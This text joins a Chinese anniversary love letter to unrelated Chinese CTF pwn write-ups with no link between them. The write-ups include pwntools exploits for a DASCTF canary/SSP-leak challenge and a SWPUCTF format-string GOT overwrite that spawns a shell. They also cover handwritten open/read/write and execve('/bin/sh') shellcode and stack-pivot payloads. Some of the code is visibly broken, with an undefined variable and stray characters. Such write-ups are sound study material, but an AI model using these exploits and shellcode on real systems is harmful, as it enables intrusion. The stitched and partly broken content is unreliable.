致BB的一封信

我亲爱的 [农彩霞],

在这个特别的一天,我深陷于对你的思念之中,感受到了南宁的美好,想象着我们共同度过的时光。一周年纪念日,是我们爱情长征路上的一个重要里程碑,我想借着这份深情的信,将我内心的情感全部倾诉给你,让你能够感受到我对你深深的眷恋。

即使你现在不在南宁,你的工作让你身处在新的城市,我仍然能够感受到你努力工作的样子,感受到你为了梦想而拼搏的勇气。你的坚韧和努力不仅是你个人的成就,更是我们共同未来的奠基石。

回想起我们曾经一同追逐梦想的时光,我为你所取得的一切感到无比自豪。即便身处异地,我们仍能共同分享对未来的期许和憧憬。你的付出让我深感敬佩,也让我更加珍惜我们之间的感情。

在这段异地恋的旅途中,我们学会了坚强,学会了相互信任,也更加懂得如何去珍惜。每一次的视频通话,仿佛是我们在共同追求梦想的过程中相互支持的场景,我能够感受到你为梦想而努力的决心,仿佛我们彼此之间并不存在距离。

我的爱,你是我生命中最美丽的风景,是我心灵深处的依托。在这个纪念日里,我想对你说,你的存在让我的生命变得更加完整。你的坚韧、理解和支持是我不断前行的力量源泉。

虽然我们今天不能共度这个美好的时刻,但我坚信,将来的日子我们会共同拥有更多如画般的瞬间。每一次思念,都是对我们共同奋斗的一次回溯,愿我们的爱情故事越来越美好,愿每一个纪念日都是我们甜蜜的见证。

在我心中,每一个新的城市都和你的勇敢紧密相连,愿我们一起走过更多的时光,创造更多美好的回忆。期待着未来,期待着与你共同书写属于我们的未来。

深情的拥抱,

[陈阳]

DASCTF APR

DASCTTF WRITE UP

FOUR

考察点:

  1. canary的绕过方式
  2. 代码的硬审计能力
  3. ”栈喷射“脏数据感染未初始化数据

安全检测:

DA1.png

  1. 全RELRO,则got表不可改
  2. 存在canary,对应题设。
  3. 堆栈可执行,但有canary
  4. 无地址随机化,

关于canary的几种绕过方式:

  1. 什么是canary:
    1. canary是一种栈保护机制,是操作系统在bp指针的一个低地址单元插入的一串随机数,在栈函数流程执行完后,则拿出canary在栈上的数据和原canary值比对,若相同则透明,若不同则报错。
      DA2.PNG
  2. 绕过方法一:泄漏canary
    1. 格式化字符串泄漏栈数据中的canary,
    2. 相同的函数调用时调用相同canary,借助其他函数,或篡改的rop链读出canary
    3. 无已知printf函数,无法构造rop链,则不行
  3. 绕过方法二:fork函数爆破
    1. 对fork而言,作用相当于自我复制,每一次复制出来的程序,内存布局都是一样的,当然canary值也一样。
    2. 逐字节爆破,fork函数为一个特殊函数拥有两个返回三种状态,>0返回父函数,== 0继续子进程,<0发生错误,(两反三态)
    3. 逐字节进行循环,若和已有canary不同,则错误,开启一个新的子进程,
      若符合,则读取已有之后的canary,脚本进行接收符合条件,
      并进行下一字节循环的爆破,直到探明为止。
    4. 无fork函数,则不行
  4. 绕过方法三:got表篡改,恶意触发canary错误,调用目标函数
    1. 若___stack_chk_fail() got表可改,则可考虑篡改got表为目标函数,从而满足功能如:get shell /open flag
    2. full RELROgot表不可改,不行
  5. 绕过方式四:___stack_chk_fail() argv[0] 可控,则恶意触发canary错误,打印栈中数据(SSP LEAK)
    1. argv[0]是指向第一个启动参数字符串的指针 ,将其篡改为目标地址,则可读出栈中内容
    2. 该题采用本方法进行flag读出。

IDA反编译看下:(重点是过硬的代码审计能力)

–>已将重要变量重命名以及流程代码的标注

DA3.png

  1. main函数的几个分支选项——–>菜单页面

DA4.png

  1. choose 1 ——–> 读出printf的got表地址,可进行leak_libc但关闭标准错误(因为ssp需要抛出错误信息,若关闭则使得ssp失效)

DA5.png

  1. choose 2 ———->调用一个可开极大栈空间的函数,之后将输入内容加密输出,看似没用但这里正是做题关键点:栈喷射。

    1. 栈喷射是个大而宽泛的概念,主要应用于极大空间的栈溢出的内容的构造。
    2. shellcode的nop sled以及前后栈帧非初始化变量的感染都属于栈喷射
      DA6.png
      DA7.png
  2. choose 3 ———> 官方提示的目标危险函数

    1. 函数操作:将传入的前几个参数进行加密,并输入文件名以开启复制有s1变量读入的dest变量。调试output.txt存在为空,则dest可未初始化,若被从前栈帧上的脏数据感染则可open flag。

DA8.png

  1. 脚本调试:
    1. 向choose2喷射满”flag\x00“字符
    2. 当函数调用完成,栈空间释放,上一个函数的数据实际并不被擦除或覆盖,这些数据仍然存在于栈上,只是不被当前函数在访问,标记为删除,若下个函数重新申请空间,则再将栈空间内存进行初始化覆盖。这里若下一个函数的变量未进行初始化,则会被上一个栈帧的脏数据感染赋值。(空安全)
    3. 脚本调试与结果:
from pwn import *
p=process('/home/lilbc/桌面/pwn1' )
context(os='linux', arch='amd64')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
gdb.attach(p)
pause()
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)

p.sendlineafter(b"Really?\n",b'n')

p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()

DA9.png
choose 2 的canary地址落于:0xc1850,
DA10.png
choose 3 的canary落于:0xc1760
两函数栈帧几乎重叠开启,从二图中也见栈帧也已被flag脏数据感染,
若flag\x00字符串读入未初始化变量dest,则open flag

DA11.png

  1. choose 4 ———> 一个需要构造参数的read函数
    1. 主要考察是否对asc码敏感:先给出asc表进行参考

在这里插入图片描述

  1. fd 文件描述符:
    1. 文件检测符检测到~号使得数组i[]中,第二个参数的asc码—0的asc码的值,赋为文件描述符
    2. 如:51-48=3
  2. v6 read地址:
  • 在检查一个字符数组 i 中的某个位置 j 是否满足以下条件:
  • 位置 j 上的字符是冒号(:)。
  • 位置 j + 1,j + 2 和 j + 3 上都有字符。
  • 位置 j + 4 上没有字符。

如果满足这些条件,那么代码会执行以下操作:

  • 将变量 v6 的低字节设置为位置 j + 1 上的字符。
  • 将变量 v6 的次低字节设置为位置 j + 2 上的字符。
  • 将变量 v6 的高字设置为位置 j + 3 上的字符(将其转换为无符号整数)。
  • 跳出循环。
  1. v1 (长度):
    1. 检测到@和*符号之间有⼩写字母a~z 把⼩写字母的ascii码作为写⼊长度
  2. choose 5—–>栈溢出 ssp触发器

思路:

  • choose 2写脏数据,感染choose 3的dest变量,将flag读出。调用choose 4 read函数将flag变量读到已知栈内存中。通过choose5将arg[v0]值改为上方法写入的flag地址,即可触发SSP,从而get flag。
  • IDA测出arg[v0]的偏移为:0x10+0xdef0-0xe008=0x128,手动调试是0x118。
  • DA13.png

EXP:

from pwn import *
#p=remote('node4.buuoj.cn',26153)
p=process('/home/lilbc/桌面/pwn1' )
#libc=ELF('./libc.so.6')
#elf = ELF('./pwn1')
context(os='linux', arch='amd64')
p.sendlineafter(b"your choice : \n",str(2))
p.sendlineafter(b"You can give any value, trust me, there will be no overflow\n",str(24559))
payload=b'aa'+b'flag\x00'*0x1320
p.sendlineafter(b"Actually, this function doesn't seem to be useful\n",payload)
p.sendlineafter(b"Really?\n",b'n')
gdb.attach(p)
pause()
p.sendlineafter(b"your choice : \n",str(3))
p.sendlineafter(b"Enter level:",str(2))
gdb.attach(p)
pause()
p.sendlineafter(b"Enter mode:",str(2))
p.sendlineafter(b"Enter X:",str(3))
payload=b'a'*0x10
p.sendlineafter(b"Enter a string: ",payload)
p.sendlineafter(b"please input filename\n",'output.txt')


p.sendlineafter(b"1. yes\n2.no\n",str(2))

p.sendlineafter(b"your choice : \n",str(4))
payload=b'11>:`!!>@a*>~3'
p.sendlineafter('info>>\n',payload)

p.sendlineafter(b"your choice : \n",str(5))
payload=b'a'*0x118+p64(0x602121)
p.sendlineafter(b"This is a strange overflow. Because of canary, you must not hijack the return address\n",payload)

p.interactive()

引用参考zsnick师傅https://blog.csdn.net/mochu7777777/article/details/130309288

CANARY爆破

canary爆破.png
注意这里是逐字节爆破,
fork函数为一个特殊函数两个返回三种状态,>0返回父函数,== 0继续子进程,<0发生错误,
注意注意,这里的canary已经存在,
所以内部循环流程为:
逐字节进行循环,若和已有canary不同,则错误,开启一个新的子进程,
若符合,则读取已有之后的canary,脚本进行接收符合条件,
并进行下一字节循环的爆破,直到探明为止。

bss段上的格式化字符串处理

bss段上的格式化字符串处理–SWPUCTF_2019_login

1,区别:

bss段上的格式化字符串和栈上的格式化字符串最大的区别在于:
输入的格式化字符串被放在“.bss段”上,导致无法直接利用格式化字符串写在栈上的数据进行任意地址写,
采取的攻击措施是:
利用ebp寄存器的地址映射,将ebp映射的—->一个栈中地址A的指针指向—->和got表相似的地址B,从而完成先将B地址修改为”printf“got表的地址—>借助两次格式化字符串修改”printf“got表的值,从而将“printf”的got表的值修改为“system”的got表的值,getshell。+v+ yes!

总结:既然写的东西都在bss段中,那么利用ebp的地址映射把与目标输入的类似的栈中已有的地址先写进去,之后不断修改,构造出合适的攻击链进行get shell

2,IDA分析:

![[bssfmastrpic1.png]]
明显的格式化漏洞,但写在了bss段上,

3,gdb调试:

  • ebp寄存器的的参数偏移是6
  • ebp所指的映射地址为0xffc78f28,参数偏移是10
  • 两个以80开头(与got表地址相似的)栈中的地址参数偏移分别是9,11

通过修改这个ebp,即可以修改两个与got表相近的栈中地址为“printf”的got表地址,之后只要将这两个victim_got地址分高低位分别一起修改为”system“的got表地址,并输入“sh”即可get shell。
构造结果如下:
这里的printf+2是因为这里修改的是printfgot表的前两位,32位操作系统4位一字节。先改前两位再改后两位
![[bssfmastrpic3 2.png]]

4,exp:

from LibcSearcher import *
from pwn import *

io=process('./SWPUCTF_2019_login')
elf=ELF('./SWPUCTF_2019_login')
libc=elf.libc
context.log_level='debug'

def fmtsend(addr,place):
    io.recvuntil('Try again!\n')
    payload = '%'+str(addr)+'c'+'%'+str(place)+'$hn'
    print payload
    io.sendline(payload)
#解释<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>将偏移是place的地址所指向的地址的后两位修改为addr

def debug():
    gdb.attach(io,"b *0x080485AF")
    io.sendline('aa')

io.sendlineafter('name:','aaa')
payload1='%15$p'
io.sendlineafter('password:',payload1)
io.recvuntil('This is the wrong password: ')
libc_start_main = int(io.recvuntil('\n')[:-1],16)-262
# libc=LibcSearcher('__libc_start_main',libc_start_main)
# libc_base=liba_start_main-libc.dump('__libc_start_main')
libc_base=libc_start_main-libc.sym['__libc_start_main']
print "libc_base----->" + hex(libc_base)
system=libc_base+libc.sym['system']
binsh=libc_base+libc.search("/bin/sh\x00").next()
payload2='%6$p'
io.sendlineafter('Try again!\n',payload2)
io.recvuntil('This is the wrong password: ')
target=int(io.recvuntil('\n')[:-1],16)
print "target----->" + hex(target)
print hex(elf.got['puts'])

heap_base = target-0x28
stack_addr = heap_base+0x2c
stack_addr2=heap_base+0x24
bias1=stack_addr&0xffff
bias2=elf.got['printf']&0xffff
bias3=stack_addr2&0xffff
system_back4=(system&0xffff)
system_for4=(system&0xffff0000)>>16
print hex(bias1)
print hex(bias2)
print hex(system)
print hex(system_for4)
print hex(system_back4)
# pause()



# gdb.attach(io,"b *0x080485AF")
fmtsend(bias1,6)
fmtsend(bias2,10)
fmtsend(bias1-8,6)
fmtsend(bias2+2,10)
payload = '%'+str(system_back4)+'c'+'%'+str(11)+'$hn'+'%'+str(system_for4-system_back4)+'c'+'%'+str(9)+'$hn'
io.recvuntil('Try again!\n')
io.sendline(payload)
io.sendline(';sh')

io.interactive()

5,exp构造完之后的思考:

  1. 在做bss段中的格式化字符串题目时,我们改变ebp指向的地址进行的地址映射从而实现了修改栈中相似数据更替目标数据(约等于)向栈空间写入数据。
  2. 做类似题目的前提是:栈中存在可泄漏的got表地址。
  3. 写入两个victim_got地址目的是通过依次修改它们高低两字节而高修稿成功率的将“printf”函数地址修改为“system”函数地址。
  4. heap addr??这里的地址标注是有问题的,等会思考后写上去。
    op_stack_now=target-0x28
    stack_addr=top_stack_now+0x2c
    stack_addr2=top_stack_now+0x24
    bian1=stack_addr&0xffff
    bian2=elf.got[‘printf’]&0xffff
    bian3=stack_addr2&0xffff
    system_low=system &0xffff
    system_hign=(system>>16)&0xffff
    ————————————————
  5. 这里bss段的第一个参数是:![[bssfmastrpic3 2.png]]
    第二行的ja哪里
pwndbg> b printf
pwndbg> r
pwndbg> stack 30
00:0000│ esp  0xffffcfdc —▸ 0x8048540 (do_fmt+69) ◂— add    esp, 0x10 //ret地址
01:0004│      0xffffcfe0 —▸ 0x804a060 (buf) ◂— 0x61616161 ('aaaa')  //输入的格式化字符串
02:0008│      0xffffcfe4 —▸ 0x8048640 ◂— jno    0x80486b7 /* 'quit' */  //偏移1
03:000c│      0xffffcfe8 ◂— 0x4    //偏移2
04:0010│      0xffffcfec —▸ 0x804857c (play+51) ◂— add    esp, 0x10
05:0014│      0xffffcff0 —▸ 0x8048645 ◂— cmp    eax, 0x3d3d3d3d
06:0018│      0xffffcff4 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
07:001c│ ebp  0xffffcff8 —▸ 0xffffd008 —▸ 0xffffd018 ◂— 0x0   //偏移6<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>ebp=0xffffcff8->旧ebp=0xffffd008<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在MIT6.828中我们学习过<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>设置栈就是通过设置ebp=0<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>因此这个0x0是最后一个ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
08:0020│      0xffffcffc —▸ 0x8048584 (play+59) ◂— nop      //偏移7
09:0024│      0xffffd000 —▸ 0xf7fb3d60 (_IO_2_1_stdout_) ◂— 0xfbad2887
0a:0028│      0xffffd004 ◂— 0x0
0b:002c│      0xffffd008 —▸ 0xffffd018 ◂— 0x0    //偏移10<span class="bd-box"><h-char class="bd bd-end"><h-inner>【</h-inner></h-char></span>旧ebp<span class="bd-box"><h-char class="bd bd-beg"><h-inner>】</h-inner></h-char></span>
0c:0030│      0xffffd00c —▸ 0x80485b1 (main+42) ◂— nop        //偏移11
0d:0034│      0xffffd010 —▸ 0xf7fb33dc (__exit_funcs) —▸ 0xf7fb41e0 (initial) ◂— 0x0
0e:0038│      0xffffd014 —▸ 0xffffd030 ◂— 0x1
0f:003c│      0xffffd018 ◂— 0x0
10:0040│      0xffffd01c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10
11:0044│      0xffffd020 —▸ 0xf7fb3000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b1db0
... ↓
13:004c│      0xffffd028 ◂— 0x0
14:0050│      0xffffd02c —▸ 0xf7e19637 (__libc_start_main+247) ◂— add    esp, 0x10
15:0054│      0xffffd030 ◂— 0x1
16:0058│      0xffffd034 —▸ 0xffffd0c4 —▸ 0xffffd290 ◂— 0x6d6f682f ('/hom')
17:005c│      0xffffd038 —▸ 0xffffd0cc —▸ 0xffffd2cb ◂— 'XDG_VTNR=7'

这一题也可以从写入的buf段地址进行判断。
6. spidermana.github.io/_posts/2019-04-17-hitcon_pwn_writeUp.md at 27d5c5d56df3b1366526cbb05267cf4ae92b4af3 · spidermana/spidermana.github.io
不会的化可以看以上github的详细解读

pwnable_orw(重点为手写shellcode与沙盒orw机制)

1.安全检测:

  1. 32位操作系统
  2. Partial RELRO:got.plt可读可写
  3. 无NX,堆栈可执行
  4. 无地址随机化
  5. 有读写权限

2.IDA调试


很明显提示写入shellcode,这道题连远程时,可以调falg文件,只需将其读出来。但存在orw_seccomp函数,禁用部分函数的程序调用,那么这道题的思路就是利用**_(1)可通行的函数(2)手写shellcode(3)读出flag_**
_

3.什么是orw_seccomp函数(沙盒机制)

  1. 简介:seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用**4种**系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。
  2. prctl 函数:

#include <sys/prctl.h> 
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 

这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:

PR_SET_NO_NEW_PRIVS(38)

PR_SET_SECCOMP(22)

我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是**system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则**。

  1. seccomo-tools的介绍:
  • seccomp-tools 是可以帮助我们查看哪些 syscall 被禁止的一个工具
  • linux系统下载命令:
    • sudo apt install gcc ruby-dev
    • sudo gem install seccomp-tools
  • 效果:
  • open,read,write三个函数可通行。
  1. 思路:
  • 通过open函数打开当前目录下的 flag 文件
  • 利用read函数读取文件中的数据
  • 利用write函数将文件中的数据打印到屏幕上

4.如何手撸一个满足题意的shellcode:

这里详细讲一下如何手写shellcode,以来打下坚实的基础+v+!嘿嘿~

1.什么是系统调用:

  • shellcode是一组可注入的指令,可以在被攻击的程序中运行,由于shellcode要直接操作寄存器和函数,所以必须是十六进制数的形式
  • 为什么写shellcode?因为我们要让目标程序以不同于设计者的预期进行运行,而操作程序的方法之一是使程序产生系统调用(system call),通过系统调用,可以直接访问系统内核
  • 在liunx操作系统下有两个方式来执行系统调用,间接方式是利用c函数进行包装,直接方式是用会汇编指令,(把适当的参数加载到寄存器之中,利用int 0x80···进行软中断叼调用)

下面示例exit()的系统调用:

int main(void)
{
    exit(0);
}               
/*编译时使用static选项<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>防止使用动态链接<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>在程序中保留exit函数的系统调用码*/

gcc -static -o exit exit.c

  • _exit+0行是把系统调用的参数加载到ebx中
  • _exit+4和_exit+15行是把对应的系统参数号分别复制给eax
  • 最后的int 0x80指令是把cpu转到内核模式,并执行系统调用

2.为exit()系统调用写shellcode:

  • 基本了解exit系统调用后,开始写shellcode
  • 注意的是应将shellcode尽量写的简介紧凑,目的是为了可以将其注入到更小的缓冲区
  • 在实际环境中,shellcode将在没有其他指令为它设置参数的情况下执行,所i我们要自己来进行参数传递

tips:

  1. 32位:参数放在栈上,编写shellcode时,函数传递参数寄存器顺序为:a,b,c,d,…..
  2. 64位:前六个参数放在寄存器rdi、rsi、rdx、rcx、r8、r9中,其余的放在栈上。

具体步骤:

  1. 把0存在ebx中
  2. 把1存在eax中
  3. 执行int 0x80来进行系统调用
Section .text
  global _start
_start:
  mov ebx, 0
  mov ax, 1
  int 0x80

然后用nasm编译,生成目标文件,再用gun ld来连接:

nasm -f elf32 exit_shellcode.asm
ld -i exit_shellcode exit_shellcode.o

objdump看opcode:


看到shellcode中存在一些**NULL(\x00)字符,当把shellcode复制到缓冲区中时,可能出现异常(因为字符数组用null做终止符),要编写真正有用的shellcode,我们务必**把\x00消去

  1. 这里看第一条指令(mov eb,0)将0放入ebx中,可以利用xor指令,在操作数相等的情况下返回0,也就是说可以在指令中不使用0,但是结果返回零,那么我们就可以用xor来代替mov指令

mov ebx, 0 –> xor ebx, ebx

  1. 再看第二条指令(mov ax,1)为什么这条指令也会有null呢,我们知道,**eax是32位(4字节)操作系统的寄存器,而我们只复制一个字节到了寄存器,而剩下的部分,系统会自动用null来填充,**熟悉eax组成,分为两个16位区域,用ax可以访问第一个区域,而ax又分为al(低八位)和ah(高八位)两个区域,那么解决凡是就是只把1复制到al就行。
Section .text
    global _start
_start:
    xor ebx, ebx
    mov al, 1
    int 0x80


消除\x00,

  1. shellcode测试:
  char shellcode[] = "\x31\xdb"
                   "\xb0\x01"
                   "\xcd\x80";
int main(void)
{
    int *ret;
    ret = (int *)&ret + 2;
    (&ret) = (int)shellcode;
}

编译后用strace来查看系统调用:


3.编写execve()的shellcode

—–exit()可能没什么意思,接下来,我们做些更有趣的事情-派生root shell来控制整个目标系统
在linux系统中,有两种防止可以创建新进程:**一是通过现有的进程来创建,并替换正在的活动;二**是利用现有的进程来生成它自己的拷贝,并在它的位置运行这个新的进程。
execve()系统调用就是后者

  1. execve()调用号是:11
  2. 接下来我们需要知道它作为输入的参数,用man手册就可以查看:
    1.
    1. 3个参数必须包含以下内容:
      1. filename必须执行包含要执行的二进制文件的路径的字符串,这个例子中就是字符串[/bin/sh]。
      2. argv[]是程序的参数列表,大多数程序将使用强制性/选项参数进行运行,而我们只想执行/bin/sh,没有更多的参数,所以参数列表只是一个NULL指针,但是按照管理,第一个参数是我们要执行的文件名,所以argv[]就是[‘/bin/sh’,00000000]+v=(划重点嘞)
      3. envp[]是要以key:value格式传递给程序的任何其他环境选项的列表,为了我们的目的,这将是NULL指针\x00000000
  3. 和exit()一样,我们使用int 0x80的系统调用。注意要在eax中包含execve的系统调用号“11”
  4. 开始编写shellcode
    5.

这里讲解下为什么要向堆栈中反省推送“//bin/sh”,

  1. 我们知道在x86堆栈中是从高地址到弟子之的,所以要输入反向的字符串,同样因为4的倍数的最短指令会更容易些.
  2. /bin/sh是7个字节的,如何将他变为8个字节呢?很简单,加个/就ok了+v=,因为在linux中“/”可以作为占位符而存在

用python来生成hs/nib//的十六进制位:

之后将分两半塞入栈中即可

  1. 编译成功后用objdump来进行查看:

分享一个提取shellcode的指令:

objdump -d ./execve-stack|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

  1. shellcode的验证:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
int main(void)
{
  printf("Shellcode Length:  %d\n", strlen(code));
    int (*ret)() = (int(*)())code;
    ret();
}


get shell+v=

回到本题,结合题目要求,进行shellcode的构造;

  1. open函数的shellcode:
  xor ecx,ecx;
  xor edx,edx;
   //初始化//
  push 0x0;        #字符串以\x00结尾 
  push 0x67616c66; #flag十六进制
  mov ebx,esp;     #指向flag的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>进行open
  mov eax,0x5; 
  int 0x80;

tips:push指令会影响esp寄存器的值。push指令首先减少esp的值,再将源操作数复制到堆栈。如果操作数是16位的,则esp减2;如果操作数是32位的,则esp减41

  1. read函数的shellcode:
mov ebx,0x3;         //文件描述符
mov ecx, 0x0804A0A0; #直接写到shellcode下面的地址<span class="bd-box"><h-char class="bd bd-beg"><h-inner>,</h-inner></h-char></span>esp指向地址
mov edx, 0x40;
mov eax, 0x3;
int 0x80;

tips:0是标准输入,1是标准输出,2是标准错误。这意味着如果此时去打开一个新的文件,它的文件描述符是3,再打开一个则是4······

  1. write函数的shellcode
mov ebx, 0x1;
mov ecx, 0x0804A0A0;
mov edx, 0x40;
mov eax, 0x4;
int 0x80;

EXP:

#!/usr/bin/python
from pwn import *
from LibcSearcher import *
a=process("orw")
elf=ELF("orw")
context(arch='i386',os='linux',log_level='debug')


shellcode = asm('''
 xor ecx,ecx;
 xor edx,edx;
 push 0x0
 push 0x67616c66;
 mov ebx,esp;
 mov eax,0x5;
 int 0x80;

 mov ebx,0x3; 
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x3;
 int 0x80;
 
 mov ebx, 0x1;
 mov ecx, 0x0804A0A0;
 mov edx, 0x40;
 mov eax, 0x4;
 int 0x80;
                  ''')
print len(shellcode)
a.recvuntil("Give my your shellcode:")
payload=shellcode

a.sendline(payload)
a.interactive()

当然,这么麻烦的汇编代码也同时做了集成工具处理=v=,但是自己手写下才是最好滴–v=

from pwn import *
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)

r.interactive()q

周六周天接着上次组会把格式化字符串重新复盘下儿。

简记录栈迁移学习途中复习汇编的流程

#一些汇编指令的含义

![[Pasted image 20230312120910.png]]
1,pop出栈,即将栈顶指针所指向的数据弹出栈并储存在指定的寄存器中,并将栈顶指针向高地址移动一段距离。
以下为具体示意:pop是汇编指令中的一种,用于从栈中弹出数据并存储到指定的内存地址中。它的含义是将栈顶指针所指向的数据弹出栈并存储到指定的内存地址中,并将栈顶指针向上移动一段距离,以便后续可以继续从栈中弹出数据。在Intel 80x86 CPU架构中,pop指令通常用于函数调用时弹出参数,以及恢复程序现场时恢复寄存器的值等场景。pop指令的操作数可以是寄存器或内存地址,具体取决于所要弹出栈中的数据类型和数据存储的位置。当数据类型为字节时,栈顶指针向上移动一个字节的距离;当数据类型为双字(DWORD)时,栈顶指针向上移动4个字节的距离。在执行pop指令时,需要确保栈顶指针不会越过栈顶,否则就会发生栈下溢等错误。

2,push入栈,即将数据放入栈顶指针所指向的位置,并将栈顶指针向下以移动一段距离。是不是很形象的将栈帧向下移动一段距离
以下为具体示意:push是汇编指令中的一种,用于将数据压入栈中,它的含义是将数据放入栈顶指针所指向的位置,并将栈顶指针向下移动一段距离,以便后续可以继续向栈中压入数据。在Intel 80x86 CPU架构中,push指令通常用于函数调用时将参数入栈,以及保存当前程序现场时保存寄存器的值等场景。push指令的操作数可以是寄存器、内存地址或立即数,具体取决于所要压入栈中的数据类型和数据存储的位置。当数据类型为字节时,栈顶指针向下移动一个字节的距离;当数据类型为双字(DWORD)时,栈顶指针向下移动4个字节的距离。在执行push指令时,需要确保栈顶指针不会越过栈底,否则就会发生栈溢出等错误。

3,mov ebp ,esp即为:ebp<—–esp将右值赋给左值。更可以形象理解为,左边的寄存器移动到右边。

4,b高s低,b底s顶,b静s动,b过去s未来,s就是光标。
b是赛高的s无所谓。
esp ebp在函数调用过程中的形式:

高地址
......
|        |
|        |<- EBP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈底<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
|  局部  |
|  变量  |
|        |
|        |
|  参数  |
|        |
|        |
|        |<- ESP<span class="bd-box"><h-char class="bd bd-end"><h-inner>(</h-inner></h-char></span>栈顶<span class="bd-box"><h-char class="bd bd-beg"><h-inner>)</h-inner></h-char></span>
......
低地址  

5,栈和寄存器的相互作用关系:弹出old ebp地址给ebp寄存器之后ebp寄存器在栈旁侧进行指向。

6,leave为先动sp寄存器指针,再动bp寄存器,而栈迁移的攻击核心就在于利用两次的leave指令使得sp指针被篡改到目标地址(篡改ep地址为目标地址见-4)
———————————————————————————分割线
#以下为栈迁移的讲解
核心思想<span class="bd-box"><h-char class="bd bd-beg"><h-inner>:</h-inner></h-char></span>让esp跑两次,
第一次:使篡改过后的old ebp地址出栈,指向fake ebp
第二次:使esp跟随到fake ebp当中开辟出一段新的栈空间。

![[Pasted image 20230303190918.png]]
![[Pasted image 20230303190931.png]]
栈迁移原理介绍与应用 - Max1z - 博客园 (cnblogs.com)
这篇文章讲解的足够详细,看这篇文章就足矣。
要点归纳:
1,ebp 覆盖为 HijackAddr-4的目的是:当第二次执行完leave的pop ebp后esp回向高地址移动四个字节,从而使得esp指向 HijackAddr的地址,从而使得eip中成功放入目标地址完成程序流窜改。
2. # 第二次溢出,rop写在s中,栈迁移到s,调用system,参数为自己写在栈上的/bin/sh,参数偏移计算可知

payload=p32(elf.plt['system'])+p32(elf.sym['_start'])+p32(leak_ebp-offset+0xc)+b'/bin/sh\x00'
payload=payload.ljust(0x28,b'a')+p32(target_addr)+p32(leave_ret)

第一行为向s中写数据,sys plt + ret add + binsh地址 + binsh字符串
第二行为写入数据并对齐,数据 + target ebp + leave ret

总结一:pwn题中的四大保护:

NX防护:

![[Pasted image 20221023181159.png]]

  • 意义:No-eXecute(不可执行)
  • 基本原理:是将数据所在内存页标识为不可执行,当程序溢出成功转入Shellcode时,程序会尝试在数据页面上执行指令,此时CPU就会抛出异常,而不是去执行恶意指令。(got ELF while …….){思考如果存在mprotect可以进行NX防护的绕过}
  • 用来防护的攻击手段:栈溢出 + 跳到栈上执行shellcode
  • 添加编译选项-z execstack 会关闭NX保护
  • 绕过方式:ROP:在代码段中寻在合适gadget,构造gadget链,最终实现获取shell

CANARY保护:

![[Pasted image 20221023181117.png]]

  • 栈溢出保护:阻止所有单纯的栈溢出;
  • 基本原理:是一种针对缓冲区溢出攻击的缓解手段。当函数存在缓冲区溢出攻击漏洞时,攻击者可以覆盖栈上的返回地址来让Shellcode能够得到执行。当启用栈保护后,函数开始执行的时候,会先往栈里插入Cookie信息,当函数真正返回的时候会验证Cookie信息是否合法,如果不合法就停止程序运行。攻击者在覆盖返回地址的是否往往也会将Cookie信息给覆盖掉,导致栈保护检查失败而阻止Shellcode的执行。在Linux中,将Cookie信息称为Canary
  • 通俗解释:在栈中紧挨ebp的上一个位置存放一个随机数;当发生栈溢出时程序检查CANARY这个值和之前的是否一致,如果不一致,则 不会往下运行,从而避免了缓冲区溢出攻击。
    • 添加编译选项 -fno-stack-protector 会关闭程序的stack canary栈保护
  • 绕过方式:
    1) 获取填充的随机数:通过爆破、泄露等方法获取随机数,制造栈溢出的时候在原有位置写入随机数,从而实现Canary的绕过
